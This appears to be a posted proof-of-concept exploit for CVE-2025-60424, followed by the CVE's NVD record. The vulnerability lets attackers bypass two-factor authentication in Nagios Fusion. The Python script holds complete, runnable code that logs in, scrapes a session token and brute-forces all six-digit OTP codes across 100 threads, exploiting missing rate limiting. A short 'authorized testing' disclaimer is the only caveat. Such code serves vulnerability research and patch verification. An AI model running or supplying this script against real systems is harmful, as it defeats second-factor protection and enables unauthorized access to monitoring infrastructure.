CVE-2025-60424

#!/usr/bin/env python3 """ CVE-2025-60424 PoC - Nagios Fusion OTP Bypass via Brute Force Attack Note: This PoC is for educational and authorized testing purposes only. Author: Based on research by aakashtyal """ import requests import sys import itertools from concurrent.futures import ThreadPoolExecutor, as_completed import string import time class NagiosFusionOTPBypass: def __init__(self, target_url, username, password): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.authenticated = False self.otp_session_token = None def login(self): """Step 1: Authenticate with username and password""" login_url = f"{self.target_url}/nagiosfusion/api/login" data = { 'username': self.username, 'password': self.password } try: response = self.session.post(login_url, data=data, timeout=30) if response.status_code == 200: result = response.json() if result.get('success'): self.authenticated = True return True except Exception as e: print(f"[-] Login failed: {e}") return False def get_otp_page(self): """Step 2: Navigate to OTP verification page to establish session""" otp_url = f"{self.target_url}/nagiosfusion/otp/verify" try: response = self.session.get(otp_url, timeout=30) if response.status_code == 200: # Extract OTP session token if present in response if 'otp_session' in response.text or 'request_key' in response.text: self.otp_session_token = self.extract_token(response.text) return True except Exception as e: print(f"[-] OTP page access failed: {e}") return False def extract_token(self, html_content): """Extract CSRF or session token from HTML""" import re patterns = [ r'otp_session[\s]*=[\s]*["\']([a-zA-Z0-9]+)["\']', r'request_key[\s]*=[\s]*["\']([a-zA-Z0-9]+)["\']', r'name=["\']csrf_token["\'][\s]+value=["\']([a-zA-Z0-9]+)["\']' ] for pattern in patterns: match = re.search(pattern, html_content) if match: return match.group(1) return None def try_otp(self, otp_code): """Step 3: Try a single OTP code - NO RATE LIMITING VULNERABILITY""" otp_verify_url = f"{self.target_url}/nagiosfusion/api/otp/verify" data = { 'otp_code': otp_code, 'session_key': self.otp_session_token or '' } try: # No rate limiting allows rapid-fire requests response = self.session.post(otp_verify_url, data=data, timeout=10) if response.status_code == 200: result = response.json() if result.get('success') or result.get('verified'): return True, otp_code return False, otp_code except: return False, otp_code def brute_force_otp(self, max_attempts=1000000, threads=50): """ Step 4: Brute force OTP codes Since there's NO RATE LIMITING, we can try all combinations rapidly """ print(f"[*] Starting OTP brute force attack (6-digit codes)") print(f"[*] Using {threads} threads for parallel requests") print(f"[*] Target: {self.target_url}") start_time = time.time() attempts = 0 # Generate all 6-digit OTP combinations for i in range(0, min(max_attempts, 1000000), 10000): otp_batch = [f'{j:06d}' for j in range(i, min(i + 10000, max_attempts))] with ThreadPoolExecutor(max_workers=threads) as executor: futures = {executor.submit(self.try_otp, otp): otp for otp in otp_batch} for future in as_completed(futures): attempts += 1 success, code = future.result() if success: elapsed = time.time() - start_time print(f"\n[+] SUCCESS! OTP found: {code}") print(f"[+] Attempts: {attempts}") print(f"[+] Time elapsed: {elapsed:.2f} seconds") return True, code if attempts % 10000 == 0: elapsed = time.time() - start_time rate = attempts / elapsed if elapsed > 0 else 0 print(f"[*] Progress: {attempts} attempts, {rate:.1f} req/s") return False, None def main(): if len(sys.argv) < 4: print("Usage: python3 cve-2025-60424-poc.py <target_url> <username> <password>") print("Example: python3 cve-2025-60424-poc.py https://nagios-fusion.local admin password123") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] print("=" * 60) print("CVE-2025-60424 - Nagios Fusion OTP Bypass PoC") print("=" * 60) exploit = NagiosFusionOTPBypass(target, username, password) # Step 1: Login with valid credentials print("\n[Step 1] Authenticating with provided credentials...") if not exploit.login(): print("[-] Failed to authenticate. Check credentials.") sys.exit(1) print("[+] Successfully authenticated") # Step 2: Access OTP page print("\n[Step 2] Accessing OTP verification page...") if not exploit.get_otp_page(): print("[-] Failed to access OTP page") sys.exit(1) print("[+] OTP page accessed") # Step 3 & 4: Brute force OTP print("\n[Step 3] Starting OTP brute force attack...") print("[!] WARNING: This is a proof-of-concept for authorized testing only") print("[!] Vulnerability: No rate limiting on OTP verification endpoint") success, otp = exploit.brute_force_otp(max_attempts=1000000, threads=100) if success: print("\n" + "=" * 60) print("[!] 2FA BYPASSED - Authentication Complete") print(f"[!] Valid OTP: {otp}") print("=" * 60) else: print("\n[-] OTP not found within attempt limit") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-60424", "sourceIdentifier": "[email protected]", "published": "2025-10-27T16:15:41.753", "lastModified": "2025-11-05T21:00:24.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A lack of rate limiting in the OTP verification component of Nagios Fusion v2024R1.2 and v2024R2 allows attackers to bypass authentication via a bruteforce attack."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 5.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "CWE-307"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:fusion:2024:r1.2:*:*:*:*:*:*", "matchCriteriaId": "665DAD59-DB98-46D9-B7BF-64C812356108"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:fusion:2024:r2.1:*:*:*:*:*:*", "matchCriteriaId": "4B01149C-8E52-4916-8D8E-7A83D0483AF8"}]}]}], "references": [{"url": "https://github.com/aakashtyal/2FA-Bypass-using-a-Brute-Force-Attack", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory"]}, {"url": "https://github.com/aakashtyal/2FA-Bypass-using-a-Brute-Force-Attack-CVE-2025-60424", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory"]}, {"url": "https://www.nagios.com/changelog/#fusion", "source": "[email protected]", "tags": ["Release Notes"]}]}}